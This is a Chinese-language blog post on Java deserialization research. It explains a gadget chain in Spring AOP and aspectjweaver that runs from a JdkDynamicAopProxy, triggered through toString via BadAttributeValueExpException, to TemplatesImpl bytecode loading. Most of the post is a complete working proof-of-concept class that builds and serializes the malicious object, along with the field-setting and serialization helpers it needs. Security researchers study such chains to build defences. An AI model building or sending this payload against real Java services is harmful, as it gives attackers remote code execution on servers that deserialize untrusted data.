SpringAop链
发表于:2025-09-30 | 分类: Java

SpringAop链

前言

前面学习Hessian反序列化时,发现只有Rome反序列化这一条链是我学习过的,现在来补一补没有学过的链子

环境搭建

该链依赖于spring-aopaspectjweaver两个包,在pom.xml文件中导入以下依赖

或者在springboot的spring-boot-starter-aop中自带这两个依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.8</version>
</dependency>

反序列化链

反序列化链分析

该反序列化链的sink点在AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs方法中,这里可以看到很标准的反射调用方法的代码,方法、对象、参数都是我们可控的

但是该类是一个抽象类,我们无法将他实例化,且该方法为protected,我们要找到有个可以调用该方法的地方

我们找到了AspectJAroundAdvice类,他继承了AbstractAspectJAdvice

AspectJAroundAdvice#invoke方法可以调用invokeAdviceMethodWithGivenArgs方法

AspectJAroundAdvice#invoke接受参数为MethodInvocation,而ReflectiveMethodInvocation#proceed这里调用了invoke方法,interceptorOrInterceptionAdvice可控,同时传入的参数也可以对应上

ReflectiveMethodInvocation并没有继承Serializable接口,因此需要找到一个实例化的地方

最终在JdkDynamicAopProxy#invoke中找到ReflectiveMethodInvocation的实例化,且调用了proceed方法

JdkDynamicAopProxy是一个动态代理,在调用接口中声明的方法时,就会触发invoke方法,从而触发我们的payload

从零开始的构造POC生活

链尾就是TemplatesImpl动态加载字节码,这里就不多说了

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_name","CurlySean");
setField(templates,"_tfactory",new TransformerFactoryImpl());

templates.newTransformer();
}

下一步我们就要通过AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs方法,来调用templates.newTransformer()

首先通过反射将SingletonAspectInstanceFactory中的实例改为我们的恶意TemplatesImpl对象,然后传入newTransformer方法和templates实例,来构造AspectJAroundAdvice类,调用invokeAdviceMethodWithGivenArgs即可打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_name","CurlySean");
setField(templates,"_tfactory",new TransformerFactoryImpl());

// templates.newTransformer();

Method newTransformer = templates.getClass().getDeclaredMethod("newTransformer");
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templates.getClass());
setField(singletonAspectInstanceFactory,"aspectInstance" ,templates);

AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(newTransformer, aspectJExpressionPointcut, singletonAspectInstanceFactory);

Method invokeAdviceMethodWithGivenArgs = AbstractAspectJAdvice.class.getDeclaredMethod("invokeAdviceMethodWithGivenArgs",Object[].class);
invokeAdviceMethodWithGivenArgs.setAccessible(true);
invokeAdviceMethodWithGivenArgs.invoke(aspectJAroundAdvice,new Object[]{null});
}

想要调用AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs,我们需要用到AspectJAroundAdvice#invoke方法

在我们不做其他赋值操作时,我们这里的this.aspectJAdviceMethod.getParameterCount0,actualArgs就为null,可以成功调用newTransformer无参方法

调用AspectJAroundAdvice#invoke需要用到ReflectiveMethodInvocation#proceed方法,其中interceptorsAndDynamicMethodMatchers为我们的可控参数,且invoke方法处传入值的类也符合AspectJAroundAdvice#invoke方法接受参数类型

之前我们说到ReflectiveMethodInvocation并没有继承Serializable接口,因此需要JdkDynamicAopProxy#invoke方法,其中chain参数就是我们所需可控的interceptorsAndDynamicMethodMatchers参数

chain是从this.advised中获取的,因此我们需要对advised参数进行赋值

到这里我们只需要调用动态代理的特定方法,就可以走到JdkDynamicAopProxy#invoke方法中,有一点需要注意的是,在其构造方法中,如果以下两个条件都不满足,则会抛出异常(当然如果我们想打通这条链子的话,是必须要对advised进行赋值的,这里只是说在自行调试过程中的问题)

要触发JdkDynamicAopProxy#invoke,就得把JdkDynamicAopProxy作为InvocationHandler去创建一个动态代理

因为JdkDynamicAopProxy代理的是 AdvisedSupport类,因此我们的接口也应该传AdvisedSupport的接口,也就是Advised

我们知道在Java 动态代理中,只有接口中声明的方法 被代理调用时,才会触发到代理类的invoke方法,当我尝试调用接口中声明的方法尝试触发反序列化链时方法时,却发现没有成功

主要原因在JdkDynamicAopProxy#invoke中的这个部分,这里的逻辑是:判断当前是否在不透明代理上调用 Advised 接口的方法

那我们调用Advised接口的方法,就会提前return,不调用又无法触发invoke方法,该怎么解决呢?

JDK 动态代理自动处理了 Object 类中的某些方法

虽然 toString() 并不在接口中声明,但 JDK 动态代理机制对以下三个方法进行了特殊处理:toString、hashCode、equals

这三个方法被认为是“基础方法”,代理对象内部做了特殊适配

因此我们可以使用toStringhashCodeequals三个方法来触发invoke,但是对于equls方法和hashCode方法,也会提前return,因此可以利用的只有toString方法

最终我们的Poc是这样的,可以通过toString直接触发,也可以包装一个readObject反序列化触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class AopPoc {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_name","CurlySean");
setField(templates,"_tfactory",new TransformerFactoryImpl());

// templates.newTransformer();

Method newTransformer = templates.getClass().getDeclaredMethod("newTransformer");
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templates.getClass());
setField(singletonAspectInstanceFactory,"aspectInstance" ,templates);

AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(newTransformer, aspectJExpressionPointcut, singletonAspectInstanceFactory);

// Method invokeAdviceMethodWithGivenArgs = AbstractAspectJAdvice.class.getDeclaredMethod("invokeAdviceMethodWithGivenArgs",Object[].class);
// invokeAdviceMethodWithGivenArgs.setAccessible(true);
// invokeAdviceMethodWithGivenArgs.invoke(aspectJAroundAdvice,new Object[]{null});

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(aspectJAroundAdvice);
Class proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor jdkDynamicAopProxyClassConstructor = proxyClass.getDeclaredConstructor(AdvisedSupport.class);
jdkDynamicAopProxyClassConstructor.setAccessible(true);
Object proxyInstance = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Advised.class}, (InvocationHandler) jdkDynamicAopProxyClassConstructor.newInstance(advisedSupport));

// proxyInstance.toString();

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("proxyInstance");
setField(badAttributeValueExpException,"val",proxyInstance);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void setField(Object obj , String field, Object value) throws IllegalAccessException, NoSuchFieldException {
Class objClass = obj.getClass();
Field objField = objClass.getDeclaredField(field);
objField.setAccessible(true);
objField.set(obj,value);
}

public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
下一篇:
Hessian反序列化